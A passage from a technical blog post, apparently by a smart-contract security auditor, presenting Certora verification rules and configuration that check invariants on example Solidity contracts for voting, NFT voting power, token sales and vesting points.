                currentContract.s_totalAllowedVoters <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> MAX_VOTERS() <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
                <span class="hljs-comment">// must be odd number</span>
                currentContract.s_totalAllowedVoters <span class="hljs-operator">%</span> <span class="hljs-number">2</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>);

        <span class="hljs-comment">// enforce valid for/against votes matches total current votes</span>
        <span class="hljs-built_in">require</span>(currentContract.s_votersFor.<span class="hljs-built_in">length</span> <span class="hljs-operator">+</span>
                currentContract.s_votersAgainst.<span class="hljs-built_in">length</span>
                <span class="hljs-operator">=</span><span class="hljs-operator">=</span> currentContract.s_totalCurrentVotes);

        <span class="hljs-comment">// enforce that when a proposal is active, the total number of current</span>
        <span class="hljs-comment">// votes must be at maximum half the total allowed voters, since proposal</span>
        <span class="hljs-comment">// is automatically finalized once &gt;= 51% votes are cast</span>
        <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>isActive() <span class="hljs-operator">|</span><span class="hljs-operator">|</span> 
                    (isActive() <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> 
                    currentContract.s_totalCurrentVotes <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> currentContract.s_totalAllowedVoters/<span class="hljs-number">2</span>)
                );
    }
}
</code></pre>
<p>Since there is no setup we used <code>require</code> statements within a <code>preserved</code> block inside the <code>invariant</code> to enforce valid values for key contract parameters. Normally the smart contract’s constructor would enforce these restrictions but Certora sets storage slots to arbitrary values after the constructor. Using <code>require</code> statements we define relationships which restrict the range of possible values, preventing Certora from breaking the invariant due to an invalid state.</p>
<p>Also of note is the usage of <code>currentContract</code> - a special keyword that allows direct access to the underlying contract being verified.</p>
<h2 id="heading-example-3-voting-power-destruction">Example 3 - Voting Power Destruction</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/04-voting-nft/VotingNftForFuzz.sol"><code>VotingNft</code></a> contract:</p>
<ul>
<li><p>allows users to deposit ETH collateral against their NFT to give it DAO voting power</p>
</li>
<li><p>NFTs can be created by the owner until the “power calculation start time”</p>
</li>
<li><p>Once power calculation begins all NFTs start with max voting power which declines over time for NFTs which have not been backed by deposited ETH</p>
</li>
<li><p>NFT voting power which has declined can never be increased; depositing the required ETH collateral simply prevents any future decrease</p>
</li>
</ul>
<p>Using a <code>rule</code> construction we approximate the same invariant as the <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing#heading-example-3-voting-power-destruction">fuzz test</a> in our <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/03-proposal/certora.spec">Certora specification</a>:</p>
<pre><code class="lang-solidity">methods {
    <span class="hljs-comment">// `envfree` definitions to call functions without explicit `env`</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getTotalPower</span>(<span class="hljs-params"></span>)    <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) <span class="hljs-title">envfree</span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">totalSupply</span>(<span class="hljs-params"></span>)      <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) <span class="hljs-title">envfree</span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">owner</span>(<span class="hljs-params"></span>)            <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>) <span class="hljs-title">envfree</span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ownerOf</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)   <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>) <span class="hljs-title">envfree</span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) <span class="hljs-title">envfree</span></span>;
}

<span class="hljs-comment">// define constants and require them later to prevent HAVOC into invalid state</span>
definition PERCENTAGE_100() <span class="hljs-keyword">returns</span> <span class="hljs-keyword">uint256</span> <span class="hljs-operator">=</span> <span class="hljs-number">1000000000000000000000000000</span>;

<span class="hljs-comment">// given: safeMint() -&gt; power calculation start time -&gt; f()</span>
<span class="hljs-comment">// there should exist no f() where a permissionless attacker</span>
<span class="hljs-comment">// could nuke total power to 0 when power calculation starts</span>
rule total_power_gt_zero_power_calc_start(<span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> tokenId) {
    <span class="hljs-comment">// enforce basic sanity checks on variables set during constructor</span>
    <span class="hljs-built_in">require</span> currentContract.s_requiredCollateral <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.s_powerCalcTimestamp <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.s_maxNftPower <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.s_nftPowerReductionPercent <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.s_nftPowerReductionPercent <span class="hljs-operator">&lt;</span> PERCENTAGE_100();

    <span class="hljs-comment">// enforce no nfts have yet been created; in practice some may</span>
    <span class="hljs-comment">// exist in storage though due to certora havoc</span>
    <span class="hljs-built_in">require</span> totalSupply() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> getTotalPower() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> balanceOf(to) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

    <span class="hljs-comment">// enforce msg.sender as owner required to mint nfts</span>
    env e1;
    <span class="hljs-built_in">require</span> e1.msg.sender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> currentContract.owner();

    <span class="hljs-comment">// enforce block.timestamp &lt; power calculation start time</span>
    <span class="hljs-comment">// so new nfts can still be minted</span>
    <span class="hljs-built_in">require</span> e1.block.timestamp <span class="hljs-operator">&lt;</span> currentContract.s_powerCalcTimestamp;

    <span class="hljs-comment">// first safeMint() succeeds</span>
    safeMint(e1, to, tokenId);

    <span class="hljs-comment">// sanity check results of first mint</span>
    <span class="hljs-built_in">assert</span> totalSupply() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> balanceOf(to) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> ownerOf(tokenId) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> to <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
           getTotalPower() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> currentContract.s_maxNftPower;

    <span class="hljs-comment">// perform any arbitrary successful transaction at power calculation</span>
    <span class="hljs-comment">// start time, where msg.sender is not an nft owner or an admin</span>
    env e2;
    <span class="hljs-built_in">require</span> e2.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e2.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> to <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e2.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract.owner() <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            balanceOf(e2.msg.sender) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e2.block.timestamp <span class="hljs-operator">=</span><span class="hljs-operator">=</span> currentContract.s_powerCalcTimestamp;
    method f;
    calldataarg args;
    f(e2, args);

    <span class="hljs-comment">// total power should not equal to 0</span>
    <span class="hljs-built_in">assert</span> getTotalPower() <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Note again the usage of <code>require</code> statements to prevent corruption of the initial storage state which would lead to the invariant being broken due to an invalid state.</p>
<h2 id="heading-example-4-token-sale-drain">Example 4 - Token Sale Drain</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/05-token-sale/TokenSale.sol"><code>TokenSale</code></a> contract:</p>
<ul>
<li><p>allows a DAO to sell its governance <code>sellToken</code> for another <code>buyToken</code></p>
</li>
<li><p>the token sale is only for allowed users and each user can only buy up to a max per-user limit to prevent concentration of voting power</p>
</li>
<li><p>in our simplified version we assume an exchange rate of 1:1 and that <code>sellToken</code> always has decimals greater or equal to <code>buyToken</code></p>
</li>
</ul>
<p>This underlying contract uses two tokens; we found that in the configuration it was necessary to specify a different contract for each token otherwise the formal verification would “pass” but without actually running due to <a target="_blank" href="https://docs.certora.com/projects/tutorials/en/latest/lesson2_started/vacuity.html">vacuity</a>. The <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/05-token-sale/certora.conf"><code>certora.conf</code></a> looks like this:</p>
<pre><code class="lang-solidity">{
  <span class="hljs-string">"files"</span>: [
    <span class="hljs-string">"src/05-token-sale/TokenSale.sol"</span>,
    <span class="hljs-string">"src/TestToken.sol"</span>,
    <span class="hljs-string">"src/TestToken2.sol"</span>
  ],
  <span class="hljs-string">"verify"</span>: <span class="hljs-string">"TokenSale:test/05-token-sale/certora.spec"</span>,
  <span class="hljs-string">"link"</span>: [
        <span class="hljs-string">"TokenSale:s_sellToken=TestToken"</span>,
        <span class="hljs-string">"TokenSale:s_buyToken=TestToken2"</span>
  ],
  <span class="hljs-string">"packages"</span>:[
        <span class="hljs-string">"@openzeppelin=lib/openzeppelin-contracts"</span>
  ],
  <span class="hljs-string">"optimistic_fallback"</span>: <span class="hljs-literal">true</span>,
  <span class="hljs-string">"optimistic_loop"</span>: <span class="hljs-literal">true</span>
}
</code></pre>
<p>For the Certora <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/05-token-sale/certora.spec">specification</a> we implemented the two <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing#heading-example-4-token-sale-drain">fuzzer invariants</a> using one <code>rule</code> per invariant which worked very well:</p>
<pre><code class="lang-solidity">methods {
    <span class="hljs-comment">// `envfree` definitions to call functions without explicit `env`</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSellTokenSoldAmount</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) <span class="hljs-title">envfree</span></span>;
}

<span class="hljs-comment">// define constants and require them later to prevent HAVOC into invalid state</span>
definition MIN_PRECISION_BUY() <span class="hljs-keyword">returns</span> <span class="hljs-keyword">uint256</span> <span class="hljs-operator">=</span> <span class="hljs-number">6</span>;
definition PRECISION_SELL()    <span class="hljs-keyword">returns</span> <span class="hljs-keyword">uint256</span> <span class="hljs-operator">=</span> <span class="hljs-number">18</span>;
definition FUNDING_MIN()       <span class="hljs-keyword">returns</span> <span class="hljs-keyword">uint256</span> <span class="hljs-operator">=</span> <span class="hljs-number">100</span>;
definition BUYERS_MIN()        <span class="hljs-keyword">returns</span> <span class="hljs-keyword">uint256</span> <span class="hljs-operator">=</span> <span class="hljs-number">3</span>;

<span class="hljs-comment">// the amount of tokens bought should equal the amount of tokens sold</span>
<span class="hljs-comment">// due to 1:1 exchange ratio</span>
rule tokens_bought_eq_tokens_sold(<span class="hljs-keyword">uint256</span> amountToBuy) {
    env e1;

    <span class="hljs-keyword">uint8</span> sellTokenDecimals <span class="hljs-operator">=</span> currentContract.s_sellToken.decimals(e1);
    <span class="hljs-keyword">uint8</span> buyTokenDecimals  <span class="hljs-operator">=</span> currentContract.s_buyToken.decimals(e1);

    <span class="hljs-comment">// enforce basic sanity checks on variables set during constructor</span>
    <span class="hljs-built_in">require</span> currentContract.s_sellToken <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract.s_buyToken <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            sellTokenDecimals <span class="hljs-operator">=</span><span class="hljs-operator">=</span> PRECISION_SELL()    <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            buyTokenDecimals  <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> MIN_PRECISION_BUY() <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            buyTokenDecimals  <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> PRECISION_SELL()    <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.s_sellTokenTotalAmount <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> FUNDING_MIN() <span class="hljs-operator">*</span> <span class="hljs-number">10</span> <span class="hljs-operator">^</span> sellTokenDecimals <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.s_maxTokensPerBuyer <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> currentContract.s_sellTokenTotalAmount <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            currentContract.s_totalBuyers <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> BUYERS_MIN();

    <span class="hljs-comment">// enforce valid msg.sender</span>
    <span class="hljs-built_in">require</span> e1.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract.s_creator <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e1.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract.s_buyToken <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e1.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract.s_sellToken <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            e1.msg.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

    <span class="hljs-comment">// enforce buyer has not yet bought any tokens being sold</span>
    <span class="hljs-built_in">require</span> currentContract.s_sellToken.balanceOf(e1, e1.msg.sender) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            getSellTokenSoldAmount() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

    <span class="hljs-comment">// enforce buyer has tokens with which to buy tokens being sold</span>
    <span class="hljs-keyword">uint256</span> buyerBuyTokenBalPre <span class="hljs-operator">=</span> currentContract.s_buyToken.balanceOf(e1, e1.msg.sender);
    <span class="hljs-built_in">require</span> buyerBuyTokenBalPre <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> amountToBuy <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>;

    <span class="hljs-comment">// perform a successful `buy` transaction</span>
    buy(e1, amountToBuy);

    <span class="hljs-comment">// buyer must have received some tokens from the sale</span>
    <span class="hljs-built_in">assert</span> getSellTokenSoldAmount() <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>;
    <span class="hljs-keyword">uint256</span> buyerSellTokensBalPost <span class="hljs-operator">=</span> currentContract.s_sellToken.balanceOf(e1, e1.msg.sender);
    <span class="hljs-built_in">assert</span> buyerSellTokensBalPost <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>;

    <span class="hljs-keyword">uint256</span> buyerBuyTokenBalPost <span class="hljs-operator">=</span> currentContract.s_buyToken.balanceOf(e1, e1.msg.sender);

    <span class="hljs-comment">// verify buyer paid 1:1 for the tokens they bought when accounting for decimal difference</span>
    <span class="hljs-built_in">assert</span> getSellTokenSoldAmount() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> (buyerBuyTokenBalPre <span class="hljs-operator">-</span> buyerBuyTokenBalPost) 
                                       <span class="hljs-operator">*</span> <span class="hljs-number">10</span> <span class="hljs-operator">^</span> (sellTokenDecimals <span class="hljs-operator">-</span> buyTokenDecimals);
}

<span class="hljs-comment">// this rule was provided by https://x.com/alexzoid_eth</span>
rule max_token_buy_per_user(env e1, env e2, <span class="hljs-keyword">uint256</span> amountToBuy1, <span class="hljs-keyword">uint256</span> amountToBuy2) {   
    <span class="hljs-comment">// enforce valid initial state</span>
    <span class="hljs-built_in">require</span>(currentContract.s_maxTokensPerBuyer <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> currentContract.s_sellTokenTotalAmount);

    <span class="hljs-comment">// enforce same buyer in different calls</span>
    <span class="hljs-built_in">require</span> e1.msg.sender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> e2.msg.sender;
    <span class="hljs-built_in">require</span> e1.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> e1.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract.s_creator;

    <span class="hljs-comment">// save initial balance</span>
    mathint balanceBefore <span class="hljs-operator">=</span> currentContract.s_sellToken.balanceOf(e1, e1.msg.sender);

    <span class="hljs-comment">// prevent over-flow in ERC20 (otherwise totalSupply and balances synchronization required)</span>
    <span class="hljs-built_in">require</span> balanceBefore <span class="hljs-operator">&lt;</span> max_uint128 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> amountToBuy1 <span class="hljs-operator">&lt;</span> max_uint128 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> amountToBuy2 <span class="hljs-operator">&lt;</span> max_uint128;

    <span class="hljs-comment">// perform two separate buy transactions</span>
    buy(e1, amountToBuy1);
    buy(e2, amountToBuy2);

    <span class="hljs-comment">// save final balance</span>
    mathint balanceAfter <span class="hljs-operator">=</span> currentContract.s_sellToken.balanceOf(e1, e1.msg.sender);

    <span class="hljs-comment">// verify total bought by same user must not exceed max limit per user</span>
    mathint totalBuy <span class="hljs-operator">=</span> balanceAfter <span class="hljs-operator">&gt;</span> balanceBefore ? balanceAfter <span class="hljs-operator">-</span> balanceBefore : <span class="hljs-number">0</span>;
    <span class="hljs-built_in">assert</span> totalBuy <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> currentContract.s_maxTokensPerBuyer;
}
</code></pre>
<h2 id="heading-example-5-vesting-points-increase">Example 5 - Vesting Points Increase</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/09-vesting/Vesting.sol"><code>Vesting</code></a> contract allocates points to users which can be used to redeem tokens once their vesting period has been served. The contract implements an <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/09-vesting/Vesting.sol#L37">initialization invariant</a> in the <code>constructor</code> ensuring that all points are allocated:</p>
<pre><code class="lang-solidity"><span class="hljs-built_in">require</span>(totalPoints <span class="hljs-operator">=</span><span class="hljs-operator">=</span> TOTAL_POINTS, <span class="hljs-string">"Not enough points"</span>);
</code></pre>
<p>Users can transfer their points to another address but apart from this users have no way to increase or decrease their allocated points, hence the sum of individual user points should always remain equal to the initial total allocated.</p>
<p>Instead of re-implementing the same invariant as the fuzzer, I used Certora’s parametric rules to implement a much simpler <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/09-vesting/certora.spec#L4-L23"><code>rule</code></a> that achieves the same outcome:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// there should exist no function f() that allows a user</span>
<span class="hljs-comment">// to increase their allocated points</span>
rule user_cant_increase_points(<span class="hljs-keyword">address</span> user) {
    <span class="hljs-built_in">require</span> user <span class="hljs-operator">!</span><span class="hljs-operator">=</span> currentContract;

    <span class="hljs-comment">// enforce that user has some allocated points</span>
    <span class="hljs-keyword">uint24</span> userPointsPre <span class="hljs-operator">=</span> currentContract.allocations[user].points;
    <span class="hljs-built_in">require</span> userPointsPre <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>;

    <span class="hljs-comment">// user performs any arbitrary successful transaction f()</span>
    env e;
    <span class="hljs-built_in">require</span> e.msg.sender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> user;
    method f;
    calldataarg args;
    f(e, args);

    <span class="hljs-comment">// verify that no transaction exists which allows user to</span>
    <span class="hljs-comment">// increase their allocated points</span>
    <span class="hljs-built_in">assert</span> userPointsPre <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> currentContract.allocations[user].points;
}
</code></pre>
<p>This elegant and concise solution beautifully illustrates the powerful nature of Certora’s Verification Language especially when using parametric rules. <a target="_blank" href="https://x.com/alexzoid_eth">alexzoid_eth</a> also implemented another <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/09-vesting/certora.spec#L26-L98"><code>rule</code></a> which uses the same idea as the <a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing#heading-example-5-vesting-points-increase">fuzzer invariant</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// sum of users' individual points should always remain equal to TOTAL_POINTS</span>
<span class="hljs-comment">// solution provided by https://x.com/alexzoid_eth</span>
methods {
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">TOTAL_POINTS_PCT</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> <span class="hljs-title"><span class="hljs-keyword">uint24</span></span> <span class="hljs-title">envfree</span> =&gt; <span class="hljs-title">ALWAYS</span>(<span class="hljs-params"><span class="hljs-number">100000</span></span>)</span>;
}

<span class="hljs-comment">// tracks the address of user whose points have increased</span>
ghost <span class="hljs-keyword">address</span> targetUser;

<span class="hljs-comment">// ghost mapping to track points for each user address</span>
ghost <span class="hljs-keyword">mapping</span> (<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> mathint) ghostPoints {
    axiom forall <span class="hljs-keyword">address</span> user. ghostPoints[user] <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> ghostPoints[user] <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> max_uint24;
}

<span class="hljs-comment">// hook to verify storage reads match ghost state</span>
hook Sload <span class="hljs-keyword">uint24</span> val allocations[KEY <span class="hljs-keyword">address</span> user].points {
    <span class="hljs-built_in">require</span>(require_uint24(ghostPoints[user]) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> val);
} 

<span class="hljs-comment">// hook to update ghost state on storage writes</span>
<span class="hljs-comment">// also tracks first user to receive a points increase</span>
hook Sstore allocations[KEY <span class="hljs-keyword">address</span> user].points <span class="hljs-keyword">uint24</span> val {
    <span class="hljs-comment">// Update targetUser only if not set and points are increasing</span>
    targetUser <span class="hljs-operator">=</span> (targetUser <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> val <span class="hljs-operator">&gt;</span> ghostPoints[user]) ? user : targetUser;
    ghostPoints[user] <span class="hljs-operator">=</span> val;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initialize_constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user1, <span class="hljs-keyword">address</span> user2, <span class="hljs-keyword">address</span> user3</span>) </span>{
    <span class="hljs-comment">// Only user1, user2, and user3 can have non-zero points</span>
    <span class="hljs-built_in">require</span>(forall <span class="hljs-keyword">address</span> user. user <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user1 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> user <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user2 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> user <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user3 <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> ghostPoints[user] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    <span class="hljs-comment">// Sum of their points must equal total allocation (100%)</span>
    <span class="hljs-built_in">require</span>(ghostPoints[user1] <span class="hljs-operator">+</span> ghostPoints[user2] <span class="hljs-operator">+</span> ghostPoints[user3] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> TOTAL_POINTS_PCT());
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initialize_env</span>(<span class="hljs-params">env e</span>) </span>{
    <span class="hljs-comment">// Ensure message sender is a valid address</span>
    <span class="hljs-built_in">require</span>(e.msg.sender <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initialize_users</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user1, <span class="hljs-keyword">address</span> user2, <span class="hljs-keyword">address</span> user3</span>) </span>{
    <span class="hljs-comment">// Validate user addresses:</span>
    <span class="hljs-comment">// - Must be non-zero addresses</span>
    <span class="hljs-built_in">require</span>(user1 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> user2 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> user3 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    <span class="hljs-comment">// - Must be unique addresses</span>
    <span class="hljs-built_in">require</span>(user1 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user2 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> user1 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user3 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> user2 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user3);
    <span class="hljs-comment">// Initialize targetUser to zero address</span>
    <span class="hljs-built_in">require</span>(targetUser <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
}

<span class="hljs-comment">// Verify that total points always equal TOTAL_POINTS_PCT (100%)</span>
rule users_points_sum_eq_total_points(env e, <span class="hljs-keyword">address</span> user1, <span class="hljs-keyword">address</span> user2, <span class="hljs-keyword">address</span> user3) {
    <span class="hljs-comment">// Set up initial state</span>
    initialize_constructor(user1, user2, user3);
    initialize_env(e);
    initialize_users(user1, user2, user3);

    <span class="hljs-comment">// Execute any method with any arguments</span>
    method f;
    calldataarg args;
    f(e, args);

    <span class="hljs-comment">// Calculate points for targetUser if it's not one of the initial users</span>
    mathint targetUserPoints <span class="hljs-operator">=</span> targetUser <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user1 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> targetUser <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user2 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> targetUser <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user3 ? ghostPoints[targetUser] : <span class="hljs-number">0</span>;

    <span class="hljs-comment">// Assert total points remain constant at 100%</span>
    <span class="hljs-built_in">assert</span>(ghostPoints[user1] <span class="hljs-operator">+</span> ghostPoints[user2] <span class="hljs-operator">+</span> ghostPoints[user3] <span class="hljs-operator">+</span> targetUserPoints <span class="hljs-operator">=</span><span class="hljs-operator">=</span> TOTAL_POINTS_PCT());

    <span class="hljs-comment">// All other addresses must have zero points</span>
    <span class="hljs-built_in">assert</span>(forall <span class="hljs-keyword">address</span> user. user <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user1 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> user <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user2 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> user <span class="hljs-operator">!</span><span class="hljs-operator">=</span> user3 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> user <span class="hljs-operator">!</span><span class="hljs-operator">=</span> targetUser
        <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> ghostPoints[user] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>
    );
}
</code></pre>
<h2 id="heading-example-6-vesting-preclaim-abuse">Example 6 - Vesting Preclaim Abuse</h2>
